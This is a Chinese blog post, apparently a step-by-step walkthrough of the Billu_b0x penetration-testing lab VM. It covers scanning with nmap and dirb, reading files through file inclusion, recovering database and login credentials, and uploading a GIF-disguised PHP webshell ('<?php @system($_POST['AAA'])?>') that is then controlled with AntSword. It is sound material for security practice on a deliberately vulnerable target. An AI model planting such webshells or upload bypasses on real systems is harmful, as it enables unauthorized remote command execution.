当前位置: 首页 > news >正文

Billu_b0x靶场:一场关于网络安全的技术冒险

1.下载该靶场,并在虚拟机开启,确保网络适配器是NAT网段的

2.借助kali来确定该靶机的IP地址

nmap -O 192.168.139.1/24

3.访问该IP地址

4.尝试访问一下robots.txt,什么也没有

5.接下来来到kali里面扫目录

dirb http://192.168.139.168

6.首先访问add目录,发现文件上传

7.接下来依次访问目录

8.在192.168.139.168/in下查找发现网站绝对路径

9.使用sqlmap来进行爆破看是否存在注入

10.用sqlmap来扫这个数据包,发现不存在注入

11.文件包含漏洞利用,使用GET传递参数失败,使用POST传参成功

12.访问c.php,发现数据库的账号和密码为billu:b0x_billu

mysqli_connect(host,username,password,dbname,port,socket);

13.回到数据库登录页面进行登录

14.查找有用信息发现了用户名和密码

15.然后在首页进行登录账号和密码为biLLu:hEx_it,发现可以进行文件上传

16.上传php文件查看,发现上传失败,只能上传图片文件

上传图片马,上传成功

GIF89a
<?php @system($_POST['AAA'])?>

17.进行传参

18.用蚁剑进行连接,就可以连接成功

相关文章:

  • 如何在WordPress中添加下载链接?
  • 通过 TTL 识别操作系统的原理详解
  • AI编程方法案例:PageRank算法实现
  • 大数据(1.1)纽约出租车大数据分析实战:从Hadoop到Azkaban的全链路解析与优化
  • 【经验】重装OpenCV踩雷
  • Unity 获取Game窗口分辨率
  • 深度革命:ResNet 如何用 “残差连接“ 颠覆深度学习
  • 将 YOLO 格式的标注文件(.txt)转换为 VOC 格式的 XML 标注文件
  • 使用 Promise 和 .then() 解决同异步问题
  • IT工具 | node.js 进程管理工具 PM2 大升级!支持 Bun.js
  • 3D标定中的平面约束-平面方程的几何意义
  • Django CSRF验证失败请求为什么会中断?
  • 51单片机的寻址方式(完整)
  • CherryStudio + 火山引擎DeepSeek R1 告别服务器繁忙
  • R语言使用dietaryindex包计算nhanes饮食炎症指数
  • 【路由系列】BGP
  • 使用 CryptoJS 实现 AES 解密:动态数据解密示例
  • 数据结构——最短路(BFS,Dijkstra,Floyd)
  • 【蓝桥杯每日一题】3.17
  • HTML5 Video标签详细教程
  • 明查|哈佛大学批改美教育部长来信,红笔标出语法错误?
  • 四川资阳市原市长王善平被双开,“笃信风水,大搞迷信活动”
  • 美英达成贸易协议,美股集体收涨
  • 巴称击落多架印度“阵风”战机,专家:小规模冲突巴空军战力不落下风
  • 欧盟官员:欧盟酝酿对美关税政策反制措施,包含所有选项
  • 胖东来关闭官网内容清空?工作人员:后台维护升级